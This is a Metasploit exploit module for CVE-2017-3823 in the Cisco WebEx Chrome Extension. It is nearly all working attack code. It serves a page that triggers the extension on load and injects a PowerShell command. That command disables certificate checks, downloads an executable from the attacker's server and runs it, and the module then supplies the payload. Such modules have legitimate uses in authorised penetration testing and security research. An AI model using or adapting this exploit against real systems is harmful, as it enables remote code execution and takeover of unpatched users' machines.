Cisco WebEx Chrome Extension Remote Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)",  
'Description' => %q{  
This module exploits a vulnerability present in the Cisco WebEx Chrome Extension  
version 1.0.1 which allows an attacker to execute arbitrary commands on a system.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy <[email protected]>', # Original research/PoC  
'William Webb <william_webb[at]rapid7.com>' # Metasploit module  
],  
'Platform' => 'win',  
'DefaultOptions' =>  
{  
'SSL' => true,  
},  
'Targets' =>  
[  
[ 'Cisco WebEx Extension 1.0.1',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
],  
'References' =>  
[  
[ 'CVE', '2017-3823' ],  
],  
'Arch' => ARCH_X86,  
'DisclosureDate' => "Jan 21 2017",  
'DefaultTarget' => 0  
))  
end  
  
def setup  
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"  
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"  
super  
end  
  
def exploit_html(cli, req_uri)  
base_uri = "#{get_resource.chomp('/')}"  
html = %Q~  
<html>  
<head>  
<script>  
var msg = {  
GpcProductRoot: "WebEx",  
GpcMovingInSubdir: "Wanta",  
GpcProductVersion: "T30_MC",  
GpcUnpackName: "atgpcdec",  
GpcExtName: "atgpcext",  
GpcUnpackVersion: "27, 17, 2016, 501",  
GpcExtVersion: "3015, 0, 2016, 1117",  
GpcUrlRoot: "http://127.0.0.1/",  
GpcComponentName: btoa("MSVCR100.DLL"),  
GpcSuppressInstallation: btoa("True"),  
GpcFullPage: "True",  
GpcInitCall: btoa("_wsystem(Ex1);"),  
Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),  
}  
  
function runcode()  
{  
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));  
document.dispatchEvent(new CustomEvent("message", { detail: {  
message: JSON.stringify(msg),  
message_type: "launch_meeting",  
timestamp: (new Date()).toUTCString(),  
token: "token"  
}  
}));  
}  
</script>  
</head>  
<body onload="runcode()">  
  
</body>  
</html>  
~  
  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
end  
  
def on_request_uri(cli, request)  
print_status("Got request: #{request.uri}")  
print_status("From: #{request.headers['User-Agent']}")  
  
if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/  
print_status("Sending exploit html ...")  
exploit_html(cli, request.uri)  
close_client(cli)  
return  
elsif request.uri =~ /.*#{@payload_uri}$/  
return if ((payload = regenerate_payload(cli)) == nil)  
print_status("Sending payload ...")  
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })  
else  
base_uri = "#{get_resource.chomp('/')}"  
html = %Q~  
<html>  
<head>  
<meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"  
</head>  
<body>  
</body>  
</html>  
~  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
close_client(cli)  
end  
end  
end  
`